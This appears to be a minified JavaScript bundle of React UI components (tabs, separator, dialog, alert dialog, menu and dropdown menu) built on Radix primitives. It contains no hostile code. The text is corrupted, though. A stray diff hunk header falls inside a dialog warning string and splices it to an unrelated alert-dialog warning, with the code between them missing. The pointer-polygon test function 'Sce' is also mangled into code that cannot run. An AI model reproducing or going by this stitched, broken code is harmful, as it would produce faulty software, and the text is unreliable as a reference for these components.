Ol=v.forwardRef(({className:e,...t},n)=>E.jsx(d3,{ref:n,className:Ee("inline-flex items-center justify-center whitespace-nowrap rounded-sm px-3 py-1.5 text-sm font-medium ring-offset-background transition-all focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:bg-background data-[state=active]:text-foreground data-[state=active]:shadow-sm",e),...t}));Ol.displayName=d3.displayName;const m3=v.forwardRef(({className:e,...t},n)=>E.jsx(h3,{ref:n,className:Ee("mt-2 ring-offset-background focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2",e),...t}));m3.displayName=h3.displayName;var Jle=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],ese=Jle.reduce((e,t)=>{const n=Rh(`Primitive.${t}`),r=v.forwardRef((i,l)=>{const{asChild:c,...u}=i,f=c?n:t;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),E.jsx(f,{...u,ref:l})});return r.displayName=`Primitive.${t}`,{...e,[t]:r}},{}),tse="Separator",oM="horizontal",nse=["horizontal","vertical"],v3=v.forwardRef((e,t)=>{const{decorative:n,orientation:r=oM,...i}=e,l=rse(r)?r:oM,u=n?{role:"none"}:{"aria-orientation":l==="vertical"?l:void 0,role:"separator"};return E.jsx(ese.div,{"data-orientation":l,...u,...i,ref:t})});v3.displayName=tse;function rse(e){return nse.includes(e)}var g3=v3;const y3=v.forwardRef(({className:e,orientation:t="horizontal",decorative:n=!0,...r},i)=>E.jsx(g3,{ref:i,decorative:n,orientation:t,className:Ee("shrink-0 bg-border",t==="horizontal"?"h-[1px] w-full":"h-full w-[1px]",e),...r}));y3.displayName=g3.displayName;function ase(e){const t=ise(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(lse);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function ise(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=cse(i),u=sse(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var ose=Symbol("radix.slottable");function lse(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===ose}function sse(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function cse(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var Up="Dialog",[b3,x3]=Fn(Up),[use,_r]=b3(Up),w3=e=>{const{__scopeDialog:t,children:n,open:r,defaultOpen:i,onOpenChange:l,modal:c=!0}=e,u=v.useRef(null),f=v.useRef(null),[h,p]=Oa({prop:r,defaultProp:i??!1,onChange:l,caller:Up});return E.jsx(use,{scope:t,triggerRef:u,contentRef:f,contentId:sr(),titleId:sr(),descriptionId:sr(),open:h,onOpenChange:p,onOpenToggle:v.useCallback(()=>p(m=>!m),[p]),modal:c,children:n})};w3.displayName=Up;var S3="DialogTrigger",O3=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(S3,n),l=De(t,i.triggerRef);return E.jsx(Ce.button,{type:"button","aria-haspopup":"dialog","aria-expanded":i.open,"aria-controls":i.contentId,"data-state":nw(i.open),...r,ref:l,onClick:ue(e.onClick,i.onOpenToggle)})});O3.displayName=S3;var ew="DialogPortal",[fse,E3]=b3(ew,{forceMount:void 0}),A3=e=>{const{__scopeDialog:t,forceMount:n,children:r,container:i}=e,l=_r(ew,t);return E.jsx(fse,{scope:t,forceMount:n,children:v.Children.map(r,c=>E.jsx(ln,{present:n||l.open,children:E.jsx(Fc,{asChild:!0,container:i,children:c})}))})};A3.displayName=ew;var wh="DialogOverlay",C3=v.forwardRef((e,t)=>{const n=E3(wh,e.__scopeDialog),{forceMount:r=n.forceMount,...i}=e,l=_r(wh,e.__scopeDialog);return l.modal?E.jsx(ln,{present:r||l.open,children:E.jsx(hse,{...i,ref:t})}):null});C3.displayName=wh;var dse=ase("DialogOverlay.RemoveScroll"),hse=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(wh,n);return E.jsx(zh,{as:dse,allowPinchZoom:!0,shards:[i.contentRef],children:E.jsx(Ce.div,{"data-state":nw(i.open),...r,ref:t,style:{pointerEvents:"auto",...r.style}})})}),bo="DialogContent",_3=v.forwardRef((e,t)=>{const n=E3(bo,e.__scopeDialog),{forceMount:r=n.forceMount,...i}=e,l=_r(bo,e.__scopeDialog);return E.jsx(ln,{present:r||l.open,children:l.modal?E.jsx(pse,{...i,ref:t}):E.jsx(mse,{...i,ref:t})})});_3.displayName=bo;var pse=v.forwardRef((e,t)=>{const n=_r(bo,e.__scopeDialog),r=v.useRef(null),i=De(t,n.contentRef,r);return v.useEffect(()=>{const l=r.current;if(l)return Gb(l)},[]),E.jsx(T3,{...e,ref:i,trapFocus:n.open,disableOutsidePointerEvents:!0,onCloseAutoFocus:ue(e.onCloseAutoFocus,l=>{l.preventDefault(),n.triggerRef.current?.focus()}),onPointerDownOutside:ue(e.onPointerDownOutside,l=>{const c=l.detail.originalEvent,u=c.button===0&&c.ctrlKey===!0;(c.button===2||u)&&l.preventDefault()}),onFocusOutside:ue(e.onFocusOutside,l=>l.preventDefault())})}),mse=v.forwardRef((e,t)=>{const n=_r(bo,e.__scopeDialog),r=v.useRef(!1),i=v.useRef(!1);return E.jsx(T3,{...e,ref:t,trapFocus:!1,disableOutsidePointerEvents:!1,onCloseAutoFocus:l=>{e.onCloseAutoFocus?.(l),l.defaultPrevented||(r.current||n.triggerRef.current?.focus(),l.preventDefault()),r.current=!1,i.current=!1},onInteractOutside:l=>{e.onInteractOutside?.(l),l.defaultPrevented||(r.current=!0,l.detail.originalEvent.type==="pointerdown"&&(i.current=!0));const c=l.target;n.triggerRef.current?.contains(c)&&l.preventDefault(),l.detail.originalEvent.type==="focusin"&&i.current&&l.preventDefault()}})}),T3=v.forwardRef((e,t)=>{const{__scopeDialog:n,trapFocus:r,onOpenAutoFocus:i,onCloseAutoFocus:l,...c}=e,u=_r(bo,n),f=v.useRef(null),h=De(t,f);return Yb(),E.jsxs(E.Fragment,{children:[E.jsx(Lh,{asChild:!0,loop:!0,trapped:r,onMountAutoFocus:i,onUnmountAutoFocus:l,children:E.jsx(Hc,{role:"dialog",id:u.contentId,"aria-describedby":u.descriptionId,"aria-labelledby":u.titleId,"data-state":nw(u.open),...c,ref:h,onDismiss:()=>u.onOpenChange(!1)})}),E.jsxs(E.Fragment,{children:[E.jsx(gse,{titleId:u.titleId}),E.jsx(bse,{contentRef:f,descriptionId:u.descriptionId})]})]})}),tw="DialogTitle",N3=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(tw,n);return E.jsx(Ce.h2,{id:i.titleId,...r,ref:t})});N3.displayName=tw;var M3="DialogDescription",j3=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(M3,n);return E.jsx(Ce.p,{id:i.descriptionId,...r,ref:t})});j3.displayName=M3;var P3="DialogClose",R3=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(P3,n);return E.jsx(Ce.button,{type:"button",...r,ref:t,onClick:ue(e.onClick,()=>i.onOpenChange(!1))})});R3.displayName=P3;function nw(e){return e?"open":"closed"}var D3="DialogTitleWarning",[vse,k3]=BB(D3,{contentName:bo,titleName:tw,docsSlug:"dialog"}),gse=({titleId:e})=>{const t=k3(D3),n=`\`${t.contentName}\` requires a \`${t.titleName}\` for the component to be accessible for screen reader users. If you want to hide the \`${t.titleName}\`, you can wrap it with our VisuallyHidden component. @@ -93,4 +93,4 @@ You can add a description to the \`${Ml}\` by passing a \`${V3}\` component as a Alternatively, you can use your own component as a description by assigning it an \`id\` and passing the same value to the \`aria-describedby\` prop in \`${Ml}\`. If the description is confusing or duplicative for sighted users, you can use the \`@radix-ui/react-visually-hidden\` primitive as a wrapper around your description component. -For more information, see https://radix-ui.com/primitives/docs/components/alert-dialog`;return v.useEffect(()=>{document.getElementById(e.current?.getAttribute("aria-describedby"))||console.warn(t)},[t,e]),null},zse=z3,$se=$3,Bse=B3,X3=U3,Z3=H3,Q3=Y3,J3=W3,ez=F3,tz=K3;const Use=zse,Hse=$se,qse=Bse,nz=v.forwardRef(({className:e,...t},n)=>E.jsx(X3,{className:Ee("fixed inset-0 z-50 bg-black/80 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0",e),...t,ref:n}));nz.displayName=X3.displayName;const rz=v.forwardRef(({className:e,...t},n)=>E.jsxs(qse,{children:[E.jsx(nz,{}),E.jsx(Z3,{ref:n,className:Ee("fixed left-[50%] top-[50%] z-50 grid w-full max-w-lg translate-x-[-50%] translate-y-[-50%] gap-4 border bg-background p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:rounded-lg",e),...t})]}));rz.displayName=Z3.displayName;const az=({className:e,...t})=>E.jsx("div",{className:Ee("flex flex-col space-y-2 text-center sm:text-left",e),...t});az.displayName="AlertDialogHeader";const iz=({className:e,...t})=>E.jsx("div",{className:Ee("flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2",e),...t});iz.displayName="AlertDialogFooter";const oz=v.forwardRef(({className:e,...t},n)=>E.jsx(ez,{ref:n,className:Ee("text-lg font-semibold",e),...t}));oz.displayName=ez.displayName;const lz=v.forwardRef(({className:e,...t},n)=>E.jsx(tz,{ref:n,className:Ee("text-sm text-muted-foreground",e),...t}));lz.displayName=tz.displayName;const sz=v.forwardRef(({className:e,...t},n)=>E.jsx(Q3,{ref:n,className:Ee(Vb(),e),...t}));sz.displayName=Q3.displayName;const cz=v.forwardRef(({className:e,...t},n)=>E.jsx(J3,{ref:n,className:Ee(Vb({variant:"outline"}),"mt-2 sm:mt-0",e),...t}));cz.displayName=J3.displayName;function Fse(e){const t=Vse(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(Yse);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function Vse(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=Wse(i),u=Gse(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var Kse=Symbol("radix.slottable");function Yse(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===Kse}function Gse(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function Wse(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var Ab=["Enter"," "],Xse=["ArrowDown","PageUp","Home"],uz=["ArrowUp","PageDown","End"],Zse=[...Xse,...uz],Qse={ltr:[...Ab,"ArrowRight"],rtl:[...Ab,"ArrowLeft"]},Jse={ltr:["ArrowLeft"],rtl:["ArrowRight"]},vu="Menu",[Bc,ece,tce]=Kb(vu),[To,fz]=Fn(vu,[tce,Fl,$p]),Hp=Fl(),dz=$p(),[nce,No]=To(vu),[rce,gu]=To(vu),hz=e=>{const{__scopeMenu:t,open:n=!1,children:r,dir:i,onOpenChange:l,modal:c=!0}=e,u=Hp(t),[f,h]=v.useState(null),p=v.useRef(!1),m=en(l),y=Kc(i);return v.useEffect(()=>{const x=()=>{p.current=!0,document.addEventListener("pointerdown",S,{capture:!0,once:!0}),document.addEventListener("pointermove",S,{capture:!0,once:!0})},S=()=>p.current=!1;return document.addEventListener("keydown",x,{capture:!0}),()=>{document.removeEventListener("keydown",x,{capture:!0}),document.removeEventListener("pointerdown",S,{capture:!0}),document.removeEventListener("pointermove",S,{capture:!0})}},[]),E.jsx(zb,{...u,children:E.jsx(nce,{scope:t,open:n,onOpenChange:m,content:f,onContentChange:h,children:E.jsx(rce,{scope:t,onClose:v.useCallback(()=>m(!1),[m]),isUsingKeyboardRef:p,dir:y,modal:c,children:r})})})};hz.displayName=vu;var ace="MenuAnchor",rw=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e,i=Hp(n);return E.jsx($b,{...i,...r,ref:t})});rw.displayName=ace;var aw="MenuPortal",[ice,pz]=To(aw,{forceMount:void 0}),mz=e=>{const{__scopeMenu:t,forceMount:n,children:r,container:i}=e,l=No(aw,t);return E.jsx(ice,{scope:t,forceMount:n,children:E.jsx(ln,{present:n||l.open,children:E.jsx(Fc,{asChild:!0,container:i,children:r})})})};mz.displayName=aw;var cr="MenuContent",[oce,iw]=To(cr),vz=v.forwardRef((e,t)=>{const n=pz(cr,e.__scopeMenu),{forceMount:r=n.forceMount,...i}=e,l=No(cr,e.__scopeMenu),c=gu(cr,e.__scopeMenu);return E.jsx(Bc.Provider,{scope:e.__scopeMenu,children:E.jsx(ln,{present:r||l.open,children:E.jsx(Bc.Slot,{scope:e.__scopeMenu,children:c.modal?E.jsx(lce,{...i,ref:t}):E.jsx(sce,{...i,ref:t})})})})}),lce=v.forwardRef((e,t)=>{const n=No(cr,e.__scopeMenu),r=v.useRef(null),i=De(t,r);return v.useEffect(()=>{const l=r.current;if(l)return Gb(l)},[]),E.jsx(ow,{...e,ref:i,trapFocus:n.open,disableOutsidePointerEvents:n.open,disableOutsideScroll:!0,onFocusOutside:ue(e.onFocusOutside,l=>l.preventDefault(),{checkForDefaultPrevented:!1}),onDismiss:()=>n.onOpenChange(!1)})}),sce=v.forwardRef((e,t)=>{const n=No(cr,e.__scopeMenu);return E.jsx(ow,{...e,ref:t,trapFocus:!1,disableOutsidePointerEvents:!1,disableOutsideScroll:!1,onDismiss:()=>n.onOpenChange(!1)})}),cce=Fse("MenuContent.ScrollLock"),ow=v.forwardRef((e,t)=>{const{__scopeMenu:n,loop:r=!1,trapFocus:i,onOpenAutoFocus:l,onCloseAutoFocus:c,disableOutsidePointerEvents:u,onEntryFocus:f,onEscapeKeyDown:h,onPointerDownOutside:p,onFocusOutside:m,onInteractOutside:y,onDismiss:x,disableOutsideScroll:S,...w}=e,O=No(cr,n),A=gu(cr,n),_=Hp(n),T=dz(n),j=ece(n),[M,P]=v.useState(null),R=v.useRef(null),I=De(t,R,O.onContentChange),B=v.useRef(0),q=v.useRef(""),U=v.useRef(0),V=v.useRef(null),oe=v.useRef("right"),le=v.useRef(0),ce=S?zh:v.Fragment,L=S?{as:cce,allowPinchZoom:!0}:void 0,F=Z=>{const de=q.current+Z,D=j().filter(ee=>!ee.disabled),X=document.activeElement,ae=D.find(ee=>ee.ref.current===X)?.textValue,se=D.map(ee=>ee.textValue),me=wce(se,de,ae),xe=D.find(ee=>ee.textValue===me)?.ref.current;(function ee(_e){q.current=_e,window.clearTimeout(B.current),_e!==""&&(B.current=window.setTimeout(()=>ee(""),1e3))})(de),xe&&setTimeout(()=>xe.focus())};v.useEffect(()=>()=>window.clearTimeout(B.current),[]),Yb();const $=v.useCallback(Z=>oe.current===V.current?.side&&Oce(Z,V.current?.area),[]);return E.jsx(oce,{scope:n,searchRef:q,onItemEnter:v.useCallback(Z=>{$(Z)&&Z.preventDefault()},[$]),onItemLeave:v.useCallback(Z=>{$(Z)||(R.current?.focus(),P(null))},[$]),onTriggerLeave:v.useCallback(Z=>{$(Z)&&Z.preventDefault()},[$]),pointerGraceTimerRef:U,onPointerGraceIntentChange:v.useCallback(Z=>{V.current=Z},[]),children:E.jsx(ce,{...L,children:E.jsx(Lh,{asChild:!0,trapped:i,onMountAutoFocus:ue(l,Z=>{Z.preventDefault(),R.current?.focus({preventScroll:!0})}),onUnmountAutoFocus:c,children:E.jsx(Hc,{asChild:!0,disableOutsidePointerEvents:u,onEscapeKeyDown:h,onPointerDownOutside:p,onFocusOutside:m,onInteractOutside:y,onDismiss:x,children:E.jsx(JI,{asChild:!0,...T,dir:A.dir,orientation:"vertical",loop:r,currentTabStopId:M,onCurrentTabStopIdChange:P,onEntryFocus:ue(f,Z=>{A.isUsingKeyboardRef.current||Z.preventDefault()}),preventScrollOnEntryFocus:!0,children:E.jsx(Bb,{role:"menu","aria-orientation":"vertical","data-state":Pz(O.open),"data-radix-menu-content":"",dir:A.dir,..._,...w,ref:I,style:{outline:"none",...w.style},onKeyDown:ue(w.onKeyDown,Z=>{const D=Z.target.closest("[data-radix-menu-content]")===Z.currentTarget,X=Z.ctrlKey||Z.altKey||Z.metaKey,ae=Z.key.length===1;D&&(Z.key==="Tab"&&Z.preventDefault(),!X&&ae&&F(Z.key));const se=R.current;if(Z.target!==se||!Zse.includes(Z.key))return;Z.preventDefault();const xe=j().filter(ee=>!ee.disabled).map(ee=>ee.ref.current);uz.includes(Z.key)&&xe.reverse(),bce(xe)}),onBlur:ue(e.onBlur,Z=>{Z.currentTarget.contains(Z.target)||(window.clearTimeout(B.current),q.current="")}),onPointerMove:ue(e.onPointerMove,Uc(Z=>{const de=Z.target,D=le.current!==Z.clientX;if(Z.currentTarget.contains(de)&&D){const X=Z.clientX>le.current?"right":"left";oe.current=X,le.current=Z.clientX}}))})})})})})})});vz.displayName=cr;var uce="MenuGroup",lw=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e;return E.jsx(Ce.div,{role:"group",...r,ref:t})});lw.displayName=uce;var fce="MenuLabel",gz=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e;return E.jsx(Ce.div,{...r,ref:t})});gz.displayName=fce;var Sh="MenuItem",lM="menu.itemSelect",qp=v.forwardRef((e,t)=>{const{disabled:n=!1,onSelect:r,...i}=e,l=v.useRef(null),c=gu(Sh,e.__scopeMenu),u=iw(Sh,e.__scopeMenu),f=De(t,l),h=v.useRef(!1),p=()=>{const m=l.current;if(!n&&m){const y=new CustomEvent(lM,{bubbles:!0,cancelable:!0});m.addEventListener(lM,x=>r?.(x),{once:!0}),AM(m,y),y.defaultPrevented?h.current=!1:c.onClose()}};return E.jsx(yz,{...i,ref:f,disabled:n,onClick:ue(e.onClick,p),onPointerDown:m=>{e.onPointerDown?.(m),h.current=!0},onPointerUp:ue(e.onPointerUp,m=>{h.current||m.currentTarget?.click()}),onKeyDown:ue(e.onKeyDown,m=>{const y=u.searchRef.current!=="";n||y&&m.key===" "||Ab.includes(m.key)&&(m.currentTarget.click(),m.preventDefault())})})});qp.displayName=Sh;var yz=v.forwardRef((e,t)=>{const{__scopeMenu:n,disabled:r=!1,textValue:i,...l}=e,c=iw(Sh,n),u=dz(n),f=v.useRef(null),h=De(t,f),[p,m]=v.useState(!1),[y,x]=v.useState("");return v.useEffect(()=>{const S=f.current;S&&x((S.textContent??"").trim())},[l.children]),E.jsx(Bc.ItemSlot,{scope:n,disabled:r,textValue:i??y,children:E.jsx(e3,{asChild:!0,...u,focusable:!r,children:E.jsx(Ce.div,{role:"menuitem","data-highlighted":p?"":void 0,"aria-disabled":r||void 0,"data-disabled":r?"":void 0,...l,ref:h,onPointerMove:ue(e.onPointerMove,Uc(S=>{r?c.onItemLeave(S):(c.onItemEnter(S),S.defaultPrevented||S.currentTarget.focus({preventScroll:!0}))})),onPointerLeave:ue(e.onPointerLeave,Uc(S=>c.onItemLeave(S))),onFocus:ue(e.onFocus,()=>m(!0)),onBlur:ue(e.onBlur,()=>m(!1))})})})}),dce="MenuCheckboxItem",bz=v.forwardRef((e,t)=>{const{checked:n=!1,onCheckedChange:r,...i}=e;return E.jsx(Ez,{scope:e.__scopeMenu,checked:n,children:E.jsx(qp,{role:"menuitemcheckbox","aria-checked":Oh(n)?"mixed":n,...i,ref:t,"data-state":cw(n),onSelect:ue(i.onSelect,()=>r?.(Oh(n)?!0:!n),{checkForDefaultPrevented:!1})})})});bz.displayName=dce;var xz="MenuRadioGroup",[hce,pce]=To(xz,{value:void 0,onValueChange:()=>{}}),wz=v.forwardRef((e,t)=>{const{value:n,onValueChange:r,...i}=e,l=en(r);return E.jsx(hce,{scope:e.__scopeMenu,value:n,onValueChange:l,children:E.jsx(lw,{...i,ref:t})})});wz.displayName=xz;var Sz="MenuRadioItem",Oz=v.forwardRef((e,t)=>{const{value:n,...r}=e,i=pce(Sz,e.__scopeMenu),l=n===i.value;return E.jsx(Ez,{scope:e.__scopeMenu,checked:l,children:E.jsx(qp,{role:"menuitemradio","aria-checked":l,...r,ref:t,"data-state":cw(l),onSelect:ue(r.onSelect,()=>i.onValueChange?.(n),{checkForDefaultPrevented:!1})})})});Oz.displayName=Sz;var sw="MenuItemIndicator",[Ez,mce]=To(sw,{checked:!1}),Az=v.forwardRef((e,t)=>{const{__scopeMenu:n,forceMount:r,...i}=e,l=mce(sw,n);return E.jsx(ln,{present:r||Oh(l.checked)||l.checked===!0,children:E.jsx(Ce.span,{...i,ref:t,"data-state":cw(l.checked)})})});Az.displayName=sw;var vce="MenuSeparator",Cz=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e;return E.jsx(Ce.div,{role:"separator","aria-orientation":"horizontal",...r,ref:t})});Cz.displayName=vce;var gce="MenuArrow",_z=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e,i=Hp(n);return E.jsx(Ub,{...i,...r,ref:t})});_z.displayName=gce;var yce="MenuSub",[Bue,Tz]=To(yce),vc="MenuSubTrigger",Nz=v.forwardRef((e,t)=>{const n=No(vc,e.__scopeMenu),r=gu(vc,e.__scopeMenu),i=Tz(vc,e.__scopeMenu),l=iw(vc,e.__scopeMenu),c=v.useRef(null),{pointerGraceTimerRef:u,onPointerGraceIntentChange:f}=l,h={__scopeMenu:e.__scopeMenu},p=v.useCallback(()=>{c.current&&window.clearTimeout(c.current),c.current=null},[]);return v.useEffect(()=>p,[p]),v.useEffect(()=>{const m=u.current;return()=>{window.clearTimeout(m),f(null)}},[u,f]),E.jsx(rw,{asChild:!0,...h,children:E.jsx(yz,{id:i.triggerId,"aria-haspopup":"menu","aria-expanded":n.open,"aria-controls":i.contentId,"data-state":Pz(n.open),...e,ref:ja(t,i.onTriggerChange),onClick:m=>{e.onClick?.(m),!(e.disabled||m.defaultPrevented)&&(m.currentTarget.focus(),n.open||n.onOpenChange(!0))},onPointerMove:ue(e.onPointerMove,Uc(m=>{l.onItemEnter(m),!m.defaultPrevented&&!e.disabled&&!n.open&&!c.current&&(l.onPointerGraceIntentChange(null),c.current=window.setTimeout(()=>{n.onOpenChange(!0),p()},100))})),onPointerLeave:ue(e.onPointerLeave,Uc(m=>{p();const y=n.content?.getBoundingClientRect();if(y){const x=n.content?.dataset.side,S=x==="right",w=S?-5:5,O=y[S?"left":"right"],A=y[S?"right":"left"];l.onPointerGraceIntentChange({area:[{x:m.clientX+w,y:m.clientY},{x:O,y:y.top},{x:A,y:y.top},{x:A,y:y.bottom},{x:O,y:y.bottom}],side:x}),window.clearTimeout(u.current),u.current=window.setTimeout(()=>l.onPointerGraceIntentChange(null),300)}else{if(l.onTriggerLeave(m),m.defaultPrevented)return;l.onPointerGraceIntentChange(null)}})),onKeyDown:ue(e.onKeyDown,m=>{const y=l.searchRef.current!=="";e.disabled||y&&m.key===" "||Qse[r.dir].includes(m.key)&&(n.onOpenChange(!0),n.content?.focus(),m.preventDefault())})})})});Nz.displayName=vc;var Mz="MenuSubContent",jz=v.forwardRef((e,t)=>{const n=pz(cr,e.__scopeMenu),{forceMount:r=n.forceMount,...i}=e,l=No(cr,e.__scopeMenu),c=gu(cr,e.__scopeMenu),u=Tz(Mz,e.__scopeMenu),f=v.useRef(null),h=De(t,f);return E.jsx(Bc.Provider,{scope:e.__scopeMenu,children:E.jsx(ln,{present:r||l.open,children:E.jsx(Bc.Slot,{scope:e.__scopeMenu,children:E.jsx(ow,{id:u.contentId,"aria-labelledby":u.triggerId,...i,ref:h,align:"start",side:c.dir==="rtl"?"left":"right",disableOutsidePointerEvents:!1,disableOutsideScroll:!1,trapFocus:!1,onOpenAutoFocus:p=>{c.isUsingKeyboardRef.current&&f.current?.focus(),p.preventDefault()},onCloseAutoFocus:p=>p.preventDefault(),onFocusOutside:ue(e.onFocusOutside,p=>{p.target!==u.trigger&&l.onOpenChange(!1)}),onEscapeKeyDown:ue(e.onEscapeKeyDown,p=>{c.onClose(),p.preventDefault()}),onKeyDown:ue(e.onKeyDown,p=>{const m=p.currentTarget.contains(p.target),y=Jse[c.dir].includes(p.key);m&&y&&(l.onOpenChange(!1),u.trigger?.focus(),p.preventDefault())})})})})})});jz.displayName=Mz;function Pz(e){return e?"open":"closed"}function Oh(e){return e==="indeterminate"}function cw(e){return Oh(e)?"indeterminate":e?"checked":"unchecked"}function bce(e){const t=document.activeElement;for(const n of e)if(n===t||(n.focus(),document.activeElement!==t))return}function xce(e,t){return e.map((n,r)=>e[(t+r)%e.length])}function wce(e,t,n){const i=t.length>1&&Array.from(t).every(h=>h===t[0])?t[0]:t,l=n?e.indexOf(n):-1;let c=xce(e,Math.max(l,0));i.length===1&&(c=c.filter(h=>h!==n));const f=c.find(h=>h.toLowerCase().startsWith(i.toLowerCase()));return f!==n?f:void 0}function Sce(e,t){const{x:n,y:r}=e;let i=!1;for(let l=0,c=t.length-1;lr!=y>r&&n<(m-h)*(r-p)/(y-p)+h&&(i=!i)}return i}function Oce(e,t){if(!t)return!1;const n={x:e.clientX,y:e.clientY};return Sce(n,t)}function Uc(e){return t=>t.pointerType==="mouse"?e(t):void 0}var Ece=hz,Ace=rw,Cce=mz,_ce=vz,Tce=lw,Nce=gz,Mce=qp,jce=bz,Pce=wz,Rce=Oz,Dce=Az,kce=Cz,Lce=_z,Ice=Nz,zce=jz,Fp="DropdownMenu",[$ce]=Fn(Fp,[fz]),mn=fz(),[Bce,Rz]=$ce(Fp),Dz=e=>{const{__scopeDropdownMenu:t,children:n,dir:r,open:i,defaultOpen:l,onOpenChange:c,modal:u=!0}=e,f=mn(t),h=v.useRef(null),[p,m]=Oa({prop:i,defaultProp:l??!1,onChange:c,caller:Fp});return E.jsx(Bce,{scope:t,triggerId:sr(),triggerRef:h,contentId:sr(),open:p,onOpenChange:m,onOpenToggle:v.useCallback(()=>m(y=>!y),[m]),modal:u,children:E.jsx(Ece,{...f,open:p,onOpenChange:m,dir:r,modal:u,children:n})})};Dz.displayName=Fp;var kz="DropdownMenuTrigger",Lz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,disabled:r=!1,...i}=e,l=Rz(kz,n),c=mn(n);return E.jsx(Ace,{asChild:!0,...c,children:E.jsx(Ce.button,{type:"button",id:l.triggerId,"aria-haspopup":"menu","aria-expanded":l.open,"aria-controls":l.open?l.contentId:void 0,"data-state":l.open?"open":"closed","data-disabled":r?"":void 0,disabled:r,...i,ref:ja(t,l.triggerRef),onPointerDown:ue(e.onPointerDown,u=>{!r&&u.button===0&&u.ctrlKey===!1&&(l.onOpenToggle(),l.open||u.preventDefault())}),onKeyDown:ue(e.onKeyDown,u=>{r||(["Enter"," "].includes(u.key)&&l.onOpenToggle(),u.key==="ArrowDown"&&l.onOpenChange(!0),["Enter"," ","ArrowDown"].includes(u.key)&&u.preventDefault())})})})});Lz.displayName=kz;var Uce="DropdownMenuPortal",Iz=e=>{const{__scopeDropdownMenu:t,...n}=e,r=mn(t);return E.jsx(Cce,{...r,...n})};Iz.displayName=Uce;var zz="DropdownMenuContent",$z=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=Rz(zz,n),l=mn(n),c=v.useRef(!1);return E.jsx(_ce,{id:i.contentId,"aria-labelledby":i.triggerId,...l,...r,ref:t,onCloseAutoFocus:ue(e.onCloseAutoFocus,u=>{c.current||i.triggerRef.current?.focus(),c.current=!1,u.preventDefault()}),onInteractOutside:ue(e.onInteractOutside,u=>{const 